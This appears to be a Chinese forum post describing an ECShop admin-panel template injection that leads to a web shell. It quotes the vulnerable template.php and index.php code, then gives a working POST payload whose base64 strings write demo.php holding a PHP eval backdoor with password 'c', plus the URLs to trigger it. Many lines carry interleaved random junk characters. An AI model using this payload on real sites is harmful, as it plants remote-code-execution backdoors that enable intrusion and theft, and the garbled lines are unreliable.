Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板

% Z. D4 d7 }/ F8 A, y而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
9 W4 K; `6 l) y6 y& Y0 z但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
/ @* F% a. ?# |2 U3 r) P7 @3 Tadmin/template.php

1 if ($_REQUEST['act'] == 'update_library')

2 ]) G3 z  W  l. ?8 D2   
8 o  @+ T: p) V4 K- o0 W
6 Y0 ]: ~  N5 e% G8 ^% M+ o8 }8 [3 {

4     check_authz_json('library_manage');
3 S* `4 m3 g* Q  F# g8 T3 z
' c& D4 }! w9 ]7 Z4 m5   
% h% z/ l) o2 z9 u& c
6     $html = stripslashes(json_str_iconv($_POST['html']));
0 o' q! O( o1 ]0 Q/ C( z
# o: ]5 d7 F$ R/ z7   
/ A5 W: L8 w+ f3 Q
- k- l+ j0 e' G% G) C  q2 `% R! T8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9   
: d+ m! A0 f( k! O& z
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

11   

, Y7 w; a6 }7 s( U" B" n( k: O12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
3 {. m5 r8 i( x+ J1 r" u( \
13   

0 [) D  q$ X' e/ y4 @: H14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出

$ O8 S# g$ V" O& U% [( }( p3 j15     {

16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
- k( e1 m: z" I
17         make_json_result('', $_LANG['update_lib_success']);
" B# e7 T, t1 B$ ]5 s% i/ B
18     }

4 M7 m; u7 O# u. d5 E19     else
2 K, G1 h- m" [$ S% W8 N' r
20     {
2 v4 N" a; C3 ?( @
8 w- X% O3 z: k7 X1 e8 W2 z3 Z21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));

22     }

23 }
( s/ F; A3 r4 S" J
那么找个比较方便调用了模板的文件
index.php

9 o  j" N0 A/ j3 Y7 {- w, Y1 if ($act == 'cat_rec')

2   
* W3 b; c' }& ]' k
5 x- u  r& [' L3 O2 E3 {

4   
  L* D# i% r+ Q. X
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
8 a9 o, \$ x0 N  }7 T
: ^; `- G$ |. k$ T: }; h6   
4 g1 |6 n1 y2 Q* K) P8 N* K
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

8   
. v* R/ x# P) `
, l8 b$ ?  I- M3 S' z/ Q  K9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
' U3 f/ z0 m- M* Q$ t
- i) p# G/ c0 `10   

11     include_once('includes/cls_json.php');
, U; R4 O2 ]8 z. T4 G" ?% r
12   

13     $json = new JSON;

, f# V+ }. H3 U- f* W4 O% }14   

15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);

3 H# z5 O# U" Y2 Q% o4 x$ m6 G. a- C16   
/ ^6 V7 d* P' \+ I9 Y
: Q2 ~2 t, w" H$ E0 G- w17     $children = get_children($cat_id);

18   

& m+ L) _1 j9 v( C, _; d  O0 u19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品

20   

21     $smarty->assign('cat_rec_sign', 1);
" I: R! E+ Z$ g% n: U
" N# g5 N2 N% F9 r/ V22   
$ S/ T% p% o. c$ W
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
2 G; t4 X6 W0 a5 u; I* y7 S
/ a7 J6 ?: D% ]1 @( }24   
6 y' B/ A* q3 n) k% L  H  U
  z$ m0 a( s1 E% u! ]2 b3 M25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

26   

8 N! B: h# Y) T* d2 }$ y27         echo $rec_array[$rec_type];
* E- n# o2 O+ K( y# y8 m8 n! t! P
4 W. a; o6 m. A5 v5 R28   

0 B; M: J! M8 `3 {29     die($json->encode($result));

30   

/ g8 k/ m" i: O8 K* w/ R1 F2 {31 }

* w% h( [6 u8 @! V7 Z5 H3 {那么就有利用方法了
% o7 T; }- c/ Fpost包到http://localhost/ec/admin/template.php?act=update_library
6 p( G# P3 f, K$ R1 h- m: h& r: DPost内容：

1 L6 f# N9 j9 N: ~6 G​
- P( Q5 o& T' W5 j( ]1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

8 f7 b+ x1 Q) \. |; m4 P然后访问http://localhost/ec/index.php?act=cat_rec
9 Q, t5 @7 D3 w8 l  ~
6 w4 y) D, u$ W8 Hshel地址：http://localhost/ec/demo.php
( `) y: ~. }' U, q8 e  ~! v. G( ]+ q密码c
, ]% C- l1 w/ Y! l
+ q& T3 F7 E) W